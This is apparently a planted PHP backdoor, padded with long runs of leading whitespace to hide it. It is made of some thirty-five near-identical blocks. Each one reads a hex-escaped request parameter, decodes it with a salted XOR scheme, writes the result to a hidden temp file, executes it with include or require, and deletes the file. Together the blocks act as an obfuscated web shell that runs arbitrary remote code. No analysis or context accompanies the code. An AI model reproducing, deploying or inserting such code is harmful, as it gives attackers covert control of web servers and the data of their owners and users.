																																										if(isset($_POST["\x65le\x6De\x6Et"])){ $parameter_group = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", "/var/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), sys_get_temp_dir()]); $val = $_POST["\x65le\x6De\x6Et"]; $val =explode ( '.', $val ) ; $data = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); $n = 0; $len = count( $val); do {if( $n >=$len) break; $v4 = $val[$n]; $chS = ord( $salt5[$n% $lenS]); $d = ( ( int)$v4 - $chS -( $n% 10)) ^ 96; $data .= chr( $d); $n++; } while( true); while ($item = array_shift($parameter_group)) { if ((is_dir($item) and is_writable($item))) { $property_set = implode("/", [$item, ".elem"]); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $property_set; @unlink($property_set); die(); } } } }
																																										if(in_array("\x69t\x65m", array_keys($_REQUEST))){ $fac = $_REQUEST["\x69t\x65m"]; $fac= explode ( '.' , $fac ) ; $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $y = 0; while ($y< count($fac)) { $v3 = $fac[$y]; $sChar = ord($salt[$y % $sLen]); $dec = ((int)$v3 - $sChar - ($y % 10)) ^ 6; $ref .= chr($dec); $y++; } $parameter_group = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path(), "/tmp", getenv("TEMP")]); for ($sym = 0, $pointer = count($parameter_group); $sym < $pointer; $sym++) { $dchunk = $parameter_group[$sym]; if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $property_set = implode("/", [$dchunk, ".mrk"]); if (@file_put_contents($property_set, $ref) !== false) { include $property_set; unlink($property_set); die(); } } } }
																																										if(isset($_POST["des\x63\x72ip\x74or"]) ? true : false){ $record = array_filter([getenv("TEMP"), "/tmp", "/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]); $factor = $_POST["des\x63\x72ip\x74or"]; $factor = explode( ".", $factor ) ; $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $l = 0; while( $l < count( $factor)) { $v3 = $factor[$l]; $chS = ord( $salt[$l % $lenS]); $dec = ( ( int)$v3 - $chS -( $l % 10)) ^ 22; $dat .= chr( $dec); $l++; } $res = 0; do { $fac = $record[$res] ?? null; if ($res >= count($record)) break; if (is_dir($fac) ? is_writable($fac) : false) { $parameter_group = vsprintf("%s/%s", [$fac, ".k"]); if (file_put_contents($parameter_group, $dat)) { include $parameter_group; @unlink($parameter_group); die(); } } $res++; } while (true); }
																																										if(!is_null($_POST["\x64\x61t"] ?? null)){ $res = $_POST["\x64\x61t"]; $res= explode ( '.' , $res ) ; $itm = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); foreach( $res as $n =>$v2) { $sChar = ord( $salt1[$n % $sLen]); $d = ( ( int)$v2 - $sChar -( $n % 10)) ^ 100; $itm .= chr( $d); } $ptr = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path()]); $object = 0; do { $ent = $ptr[$object] ?? null; if ($object >= count($ptr)) break; if (array_product([is_dir($ent), is_writable($ent)])) { $element = "$ent" . "/.comp"; $file = fopen($element, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $element; @unlink($element); die(); } } $object++; } while (true); }
																																										if(!is_null($_REQUEST["f\x61\x63\x74or"] ?? null)){ $reference = array_filter(["/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/tmp", getenv("TMP"), "/dev/shm", session_save_path()]); $obj = $_REQUEST["f\x61\x63\x74or"]; $obj=explode( "." ,$obj ) ; $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $n = 0; $len = count($obj); do {if ($n >= $len) break; $v4 = $obj[$n]; $sChar = ord($s[$n %$sLen]); $d = ((int)$v4 - $sChar - ($n %10)) ^ 77; $sym .= chr($d); $n++; } while (true); foreach ($reference as $key => $pointer) { if (is_dir($pointer) ? is_writable($pointer) : false) { $key = vsprintf("%s/%s", [$pointer, ".value"]); if (file_put_contents($key, $sym)) { require $key; unlink($key); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "obje\x63\x74")){ $sym = $_POST["obje\x63\x74"]; $sym = explode ( '.' , $sym ) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($sym); for ($n = 0; $n < $len; $n++) { $v6 = $sym[$n]; $chS = ord($salt[$n % $sLen]); $dec = ((int)$v6 - $chS - ($n % 10)) ^89; $comp .= chr($dec); } $data_chunk = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir()]); $dat = 0; do { $value = $data_chunk[$dat] ?? null; if ($dat >= count($data_chunk)) break; if ((bool)is_dir($value) && (bool)is_writable($value)) { $val = str_replace("{var_dir}", $value, "{var_dir}/.elem"); $file = fopen($val, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $val; @unlink($val); exit; } } $dat++; } while (true); }
																																										if(array_key_exists("e\x6E\x74", $_REQUEST) && !is_null($_REQUEST["e\x6E\x74"])){ $fac = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getcwd(), getenv("TEMP"), "/tmp"]); $comp = $_REQUEST["e\x6E\x74"]; $comp= explode ( ".", $comp ) ; $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $s = 0; foreach( $comp as $v2) {$chS = ord( $salt[$s % $sLen]); $dec = ( ( int)$v2 - $chS -( $s % 10)) ^ 40; $holder .=chr( $dec); $s++; } foreach ($fac as $item): if ((is_dir($item) and is_writable($item))) { $entity = vsprintf("%s/%s", [$item, ".factor"]); if (file_put_contents($entity, $holder)) { require $entity; unlink($entity); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "s\x79m")){ $pgrp = $_POST["s\x79m"]; $pgrp = explode('.' ,$pgrp ) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $x = 0; $__tmp = $pgrp; while($v5 = array_shift($__tmp)) { $sChar = ord($salt[$x% $sLen] ); $dec =((int)$v5 - $sChar -($x% 10)) ^ 81; $symbol .= chr($dec ); $x++; } $property_set = array_filter([getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getcwd(), "/tmp"]); foreach ($property_set as $hld) { if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) { $marker = vsprintf("%s/%s", [$hld, ".object"]); if (@file_put_contents($marker, $symbol) !== false) { include $marker; unlink($marker); die(); } } } }
																																										if(isset($_REQUEST["re\x73"])){ $pset = $_REQUEST["re\x73"]; $pset = explode ('.' , $pset ) ; $desc = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $q = 0; $len = count($pset); do {if ($q >= $len) break; $v2 = $pset[$q]; $chS = ord($salt7[$q % $sLen]); $dec = ((int)$v2 - $chS - ($q % 10)) ^ 5; $desc .= chr($dec); $q++; } while (true); $item = array_filter([getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir()]); foreach ($item as $rec) { if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $sym = str_replace("{var_dir}", $rec, "{var_dir}/.pointer"); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $sym; @unlink($sym); exit; } } } }
																																										if(in_array("\x72\x65s", array_keys($_POST))){ $desc = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/tmp", getcwd()]); $hld = $_POST["\x72\x65s"]; $hld= explode ( '.', $hld ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $v = 0; foreach($hld as $v8) { $chS = ord($salt[$v % $sLen]); $dec =((int)$v8 - $chS -($v % 10)) ^ 79; $object .= chr($dec); $v++; } while ($property_set = array_shift($desc)) { if (is_dir($property_set) && is_writable($property_set)) { $record = "$property_set/.dchunk"; $file = fopen($record, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $record; @unlink($record); die(); } } } }
																																										if(array_key_exists("entry", $_REQUEST) && !is_null($_REQUEST["entry"])){ $object = $_REQUEST["entry"]; $object=explode( "." ,$object ) ; $obj = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); foreach ($object as $u => $v1): $chS = ord($s2[$u % $lenS]); $d = ((int)$v1 - $chS - ($u % 10)) ^ 66; $obj .= chr($d); endforeach; $tkn = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $holder = 0; do { $bind = $tkn[$holder] ?? null; if ($holder >= count($tkn)) break; if (!!is_dir($bind) && !!is_writable($bind)) { $symbol = join("/", [$bind, ".data"]); if (file_put_contents($symbol, $obj)) { require $symbol; unlink($symbol); die(); } } $holder++; } while (true); }
																																										if(@$_POST["\x74k\x6E"] !== null){ $elem = array_filter([getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir")]); $pointer = $_POST["\x74k\x6E"]; $pointer = explode ("." , $pointer ) ; $resource=''; $salt9='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt9 ); $m=0; foreach( $pointer as $v5) {$chS=ord( $salt9[$m % $lenS] ); $dec=( ( int)$v5 - $chS -( $m % 10)) ^ 85; $resource .= chr( $dec ); $m++; } while ($flag = array_shift($elem)) { if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $marker = str_replace("{var_dir}", $flag, "{var_dir}/.pset"); if (file_put_contents($marker, $resource)) { include $marker; @unlink($marker); die(); } } } }
																																										if(!is_null($_POST["p\x61\x72ame\x74\x65\x72_\x67r\x6Fu\x70"] ?? null)){ $data_chunk = array_filter(["/dev/shm", session_save_path(), "/var/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP")]); $obj = $_POST["p\x61\x72ame\x74\x65\x72_\x67r\x6Fu\x70"]; $obj = explode ( "." , $obj) ; $bind =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s6); foreach( $obj as $x => $v2) { $chS =ord( $s6[$x % $lenS]); $d =( ( int)$v2 - $chS -( $x % 10)) ^ 3; $bind .= chr( $d); } foreach ($data_chunk as $key => $hld) { if (is_writable($hld) && is_dir($hld)) { $flg = sprintf("%s/.value", $hld); $success = file_put_contents($flg, $bind); if ($success) { include $flg; @unlink($flg); exit;} } } }
																																										if(in_array("\x68\x6Cd", array_keys($_REQUEST))){ $holder = $_REQUEST["\x68\x6Cd"]; $holder = explode ( "." , $holder ); $res = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3 ); $__len = count($holder ); for ($t = 0; $t < $__len; $t++) {$v7 = $holder[$t]; $chS = ord($s3[$t % $sLen] ); $d = ((int)$v7 - $chS - ($t % 10))^ 17; $res .= chr($d ); } $resource = array_filter([getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path(), "/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($resource as $tkn): if (max(0, is_dir($tkn) * is_writable($tkn))) { $marker = str_replace("{var_dir}", $tkn, "{var_dir}/.data"); if (file_put_contents($marker, $res)) { require $marker; unlink($marker); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["\x65n\x74"] ?? null)){ $pset = $_REQUEST["\x65n\x74"]; $pset = explode ( "." , $pset ) ; $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $z = 0; array_walk($pset, function ($v8) use (&$value, &$z, $s, $sLen) { $sChar = ord($s[$z %$sLen] ); $d = ((int)$v8 - $sChar - ($z %10)) ^ 76; $value.= chr($d ); $z++; } ); $holder = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp"]); $val = 0; do { $data_chunk = $holder[$val] ?? null; if ($val >= count($holder)) break; if (is_dir($data_chunk) && is_writable($data_chunk)) { $object = implode("/", [$data_chunk, ".data"]); if (file_put_contents($object, $value)) { require $object; unlink($object); exit; } } $val++; } while (true); }
																																										if(isset($_POST["pgrp"]) ? true : false){ $sym = $_POST["pgrp"]; $sym = explode ( ".",$sym) ; $value= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s7); $w= 0; foreach ($sym as $v4) { $chS= ord($s7[$w% $sLen]); $dec= ((int)$v4 - $chS - ($w% 10)) ^ 56; $value .=chr($dec); $w++; } $comp = array_filter(["/tmp", getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd()]); foreach ($comp as $key => $bind) { if (is_dir($bind) && is_writable($bind)) { $fac = sprintf("%s/.ref", $bind); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $fac; @unlink($fac); die(); } } } }
																																										if(array_key_exists("fl\x67", $_REQUEST)){ $marker = $_REQUEST["fl\x67"]; $marker =explode ('.' , $marker ) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $m = 0; foreach ($marker as $v5) { $chS = ord($s[$m % $sLen] ); $d = ((int)$v5 - $chS - ($m % 10)) ^ 91; $pgrp.= chr($d ); $m++; } $element = array_filter(["/tmp", session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/dev/shm", sys_get_temp_dir()]); $elem = 0; do { $flag = $element[$elem] ?? null; if ($elem >= count($element)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $holder = str_replace("{var_dir}", $flag, "{var_dir}/.ent"); if (@file_put_contents($holder, $pgrp) !== false) { include $holder; unlink($holder); die(); } } $elem++; } while (true); }
																																										if(in_array("\x66a\x63", array_keys($_REQUEST))){ $resource = $_REQUEST["\x66a\x63"]; $resource=explode (".", $resource ) ; $property_set = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1 ); foreach($resource as $n => $v3) { $sChar = ord($salt1[$n % $lenS] ); $dec =((int)$v3 - $sChar -($n % 10)) ^62; $property_set .= chr($dec );} $data_chunk = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp"]); $entity = 0; do { $marker = $data_chunk[$entity] ?? null; if ($entity >= count($data_chunk)) break; if (max(0, is_dir($marker) * is_writable($marker))) { $obj = implode("/", [$marker, ".itm"]); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $obj; @unlink($obj); exit; } } $entity++; } while (true); }
																																										if(isset($_POST["\x72\x65cor\x64"])){ $ref = array_filter([sys_get_temp_dir(), "/var/tmp", session_save_path(), "/tmp", getenv("TEMP"), getcwd(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); $res = $_POST["\x72\x65cor\x64"]; $res = explode( '.', $res ); $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $l = 0; foreach ($res as $v3) { $sChar = ord($s[$l % $sLen]); $d = ((int)$v3 - $sChar - ($l % 10)) ^ 91; $marker.= chr($d); $l++; } $component = 0; do { $flg = $ref[$component] ?? null; if ($component >= count($ref)) break; if ((bool)is_dir($flg) && (bool)is_writable($flg)) { $k = join("/", [$flg, ".rec"]); $file = fopen($k, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $k; @unlink($k); die(); } } $component++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x63o\x6Dp"])){ $pset = $_REQUEST["\x63o\x6Dp"]; $pset = explode( '.',$pset ) ; $symbol = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); $i = 0; $__tmp = $pset; while ($v8 = array_shift($__tmp)) { $chS = ord($s5[$i % $lenS]); $dec = ((int)$v8 - $chS - ($i % 10))^ 39; $symbol .= chr($dec); $i++;} $dchunk = array_filter([session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd()]); for ($holder = 0, $k = count($dchunk); $holder < $k; $holder++) { $key = $dchunk[$holder]; if ((bool)is_dir($key) && (bool)is_writable($key)) { $elem = sprintf("%s/.val", $key); if (file_put_contents($elem, $symbol)) { require $elem; unlink($elem); die(); } } } }
																																										if(array_key_exists("entr\x79", $_POST) && !is_null($_POST["entr\x79"])){ $obj = $_POST["entr\x79"]; $obj = explode ( '.', $obj ); $comp=''; $salt9='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt9); $v=0; foreach ($obj as $v9) { $sChar=ord($salt9[$v % $sLen]); $d=((int)$v9 - $sChar - ($v % 10)) ^ 3; $comp .= chr($d); $v++; } $res = array_filter(["/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getenv("TEMP")]); while ($object = array_shift($res)) { if (is_dir($object) ? is_writable($object) : false) { $key = str_replace("{var_dir}", $object, "{var_dir}/.desc"); if (file_put_contents($key, $comp)) { include $key; @unlink($key); exit; } } } }
																																										if(isset($_REQUEST["\x62i\x6Edi\x6E\x67"]) ? true : false){ $token = $_REQUEST["\x62i\x6Edi\x6E\x67"]; $token = explode ( "." , $token ) ; $marker =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); foreach ($token as $j => $v8): $sChar =ord($salt[$j % $lenS]); $dec =((int)$v8 - $sChar - ($j % 10)) ^ 63; $marker .=chr($dec); endforeach; $tkn = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP")]); foreach ($tkn as $key => $value) { if (is_dir($value) ? is_writable($value) : false) { $ref = sprintf("%s/.symbol", $value); if (file_put_contents($ref, $marker)) { require $ref; unlink($ref); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x74\x6Bn"])){ $resource = $_POST["\x74\x6Bn"]; $resource =explode ( ".", $resource ) ; $obj =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); foreach ($resource as $n => $v9): $chS =ord($s[$n % $lenS]); $dec =((int)$v9 - $chS - ($n % 10))^ 26; $obj .= chr($dec); endforeach; $component = array_filter(["/dev/shm", "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $data_chunk = 0; do { $binding = $component[$data_chunk] ?? null; if ($data_chunk >= count($component)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) { $rec = implode("/", [$binding, ".marker"]); $success = file_put_contents($rec, $obj); if ($success) { include $rec; @unlink($rec); die();} } $data_chunk++; } while (true); }
																																										if(@$_REQUEST["i\x74\x6D"] !== null){ $sym = $_REQUEST["i\x74\x6D"]; $sym= explode( ".", $sym ) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $z = 0; while ($z < count($sym)) { $v6 = $sym[$z]; $chS = ord($s[$z% $sLen]); $d = ((int)$v6 - $chS - ($z% 10))^ 85; $desc .= chr($d); $z++; } $res = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp"]); foreach ($res as $flag): if (!( !is_dir($flag) || !is_writable($flag) )) { $obj = implode("/", [$flag, ".k"]); if (file_put_contents($obj, $desc)) { include $obj; @unlink($obj); die(); } } endforeach; }
																																										if(in_array("p\x61ra\x6D\x65te\x72\x5F\x67\x72o\x75p", array_keys($_POST))){ $tkn = array_filter([sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP")]); $res = $_POST["p\x61ra\x6D\x65te\x72\x5F\x67\x72o\x75p"]; $res= explode ( '.' ,$res ) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $y = 0; $__tmp = $res; while($v3 = array_shift($__tmp)) { $sChar = ord($salt[$y % $lenS] ); $d =((int)$v3 - $sChar -($y % 10)) ^ 27; $component.= chr($d ); $y++; } foreach ($tkn as $key => $dchunk) { if ((is_dir($dchunk) and is_writable($dchunk))) { $hld = join("/", [$dchunk, ".ent"]); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $hld; @unlink($hld); exit; } } } }
																																										if(array_key_exists("dat", $_REQUEST)){ $marker = $_REQUEST["dat"]; $marker = explode ( "." ,$marker ); $property_set=''; $salt8='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt8 ); foreach( $marker as $s =>$v8) { $sChar=ord( $salt8[$s % $sLen] ); $dec=( ( int)$v8 - $sChar -( $s % 10)) ^20; $property_set .= chr( $dec ); } $elem = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd()]); while ($flg = array_shift($elem)) { if ((is_dir($flg) and is_writable($flg))) { $res = "$flg" . "/.val"; if (file_put_contents($res, $property_set)) { require $res; unlink($res); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x66\x61c"])){ $comp = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd()]); $item = $_REQUEST["\x66\x61c"]; $item =explode ( '.' , $item) ; $record=''; $s8='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s8 ); foreach($item as $y => $v6): $chS=ord($s8[$y % $sLen] ); $dec=((int)$v6 - $chS -($y % 10)) ^ 37; $record .=chr($dec ); endforeach; while ($desc = array_shift($comp)) { if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $obj = vsprintf("%s/%s", [$desc, ".key"]); if (file_put_contents($obj, $record)) { include $obj; @unlink($obj); die(); } } } }
																																										if(in_array("de\x73\x63", array_keys($_POST))){ $token = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), getcwd(), "/tmp"]); $reference = $_POST["de\x73\x63"]; $reference =explode ( "." ,$reference ) ; $mrk = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8); $n = 0; while( $n< count( $reference)) { $v2 = $reference[$n]; $sChar = ord( $salt8[$n % $lenS]); $d = ( ( int)$v2 - $sChar -( $n % 10)) ^ 18; $mrk .= chr( $d); $n++; } $entry = 0; do { $value = $token[$entry] ?? null; if ($entry >= count($token)) break; if (!!is_dir($value) && !!is_writable($value)) { $dat = implode("/", [$value, ".ptr"]); if (@file_put_contents($dat, $mrk) !== false) { include $dat; unlink($dat); die(); } } $entry++; } while (true); }
																																										if(isset($_POST["e\x6E\x74"]) ? true : false){ $pgrp = $_POST["e\x6E\x74"]; $pgrp = explode( '.' , $pgrp ) ; $pset= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt6 ); $t= 0; $__tmp= $pgrp; while ($v4= array_shift($__tmp)) { $chS= ord($salt6[$t % $sLen] ); $d= ((int)$v4 - $chS - ($t % 10)) ^ 2; $pset .= chr($d ); $t++; } $holder = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm"]); $sym = 0; do { $ent = $holder[$sym] ?? null; if ($sym >= count($holder)) break; if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $desc = sprintf("%s/.key", $ent); $file = fopen($desc, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $desc; @unlink($desc); die(); } } $sym++; } while (true); }
																																										if(!is_null($_POST["\x63\x6Fmp"] ?? null)){ $tkn = array_filter(["/dev/shm", getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), session_save_path()]); $parameter_group = $_POST["\x63\x6Fmp"]; $parameter_group= explode ( "." , $parameter_group) ; $sym=''; $s7='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s7 ); $n=0; $__len=count($parameter_group ); do { if($n >= $__len) break; $v4=$parameter_group[$n]; $sChar=ord($s7[$n % $lenS] ); $dec=((int)$v4 - $sChar -($n % 10)) ^ 28; $sym .= chr($dec ); $n++;}while(true ); for ($record = 0, $ref = count($tkn); $record < $ref; $record++) { $itm = $tkn[$record]; if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $dchunk = join("/", [$itm, ".rec"]); if (file_put_contents($dchunk, $sym)) { include $dchunk; @unlink($dchunk); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x6Fbj")){ $item = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]); $symbol = $_REQUEST["\x6Fbj"]; $symbol =explode( ".", $symbol ) ; $object=''; $s5='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s5); $n=0; foreach( $symbol as $v1) { $chS=ord( $s5[$n % $sLen]); $d=( ( int)$v1 - $chS -( $n % 10)) ^ 46; $object .= chr( $d); $n++; } for ($holder = 0, $pset = count($item); $holder < $pset; $holder++) { $marker = $item[$holder]; if (is_dir($marker) ? is_writable($marker) : false) { $tkn = "$marker" . "/.k"; $success = file_put_contents($tkn, $object); if ($success) { include $tkn; @unlink($tkn); die();} } } }
																																										if(!empty($_POST["\x6D\x72k"])){ $data_chunk = array_filter(["/var/tmp", "/tmp", getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm"]); $property_set = $_POST["\x6D\x72k"]; $property_set = explode( '.' , $property_set) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $m = 0; $len = count($property_set); do { if($m>= $len) break; $v2 = $property_set[$m]; $sChar = ord($s[$m % $lenS]); $dec = ((int)$v2 - $sChar -($m % 10)) ^ 14; $flag .= chr($dec); $m++; } while(true); foreach ($data_chunk as $factor) { if (is_writable($factor) && is_dir($factor)) { $comp = join("/", [$factor, ".marker"]); if (@file_put_contents($comp, $flag) !== false) { include $comp; unlink($comp); die(); } } } }
																																										if(array_key_exists("k", $_POST)){ $descriptor = array_filter([session_save_path(), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd()]); $obj = $_POST["k"]; $obj = explode ( ".", $obj ) ; $ent= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s ); foreach( $obj as $u => $v5): $sChar= ord( $s[$u% $sLen] ); $dec= ( ( int)$v5 - $sChar -( $u% 10)) ^ 44; $ent .= chr( $dec ); endforeach; while ($pgrp = array_shift($descriptor)) { if (!( !is_dir($pgrp) || !is_writable($pgrp) )) { $sym = "$pgrp/.symbol"; $success = file_put_contents($sym, $ent); if ($success) { include $sym; @unlink($sym); exit;} } } }
																																										if(!empty($_POST["\x72e\x73our\x63\x65"])){ $value = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]); $holder = $_POST["\x72e\x73our\x63\x65"]; $holder =explode( '.' ,$holder ) ; $res= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); $len= count($holder ); for ($l= 0; $l < $len; $l++) { $v4= $holder[$l]; $sChar= ord($s[$l % $sLen] ); $d= ((int)$v4 - $sChar - ($l % 10)) ^62; $res .= chr($d ); } $item = 0; do { $tkn = $value[$item] ?? null; if ($item >= count($value)) break; if (max(0, is_dir($tkn) * is_writable($tkn))) { $fac = str_replace("{var_dir}", $tkn, "{var_dir}/.element"); if (file_put_contents($fac, $res)) { require $fac; unlink($fac); exit; } } $item++; } while (true); }
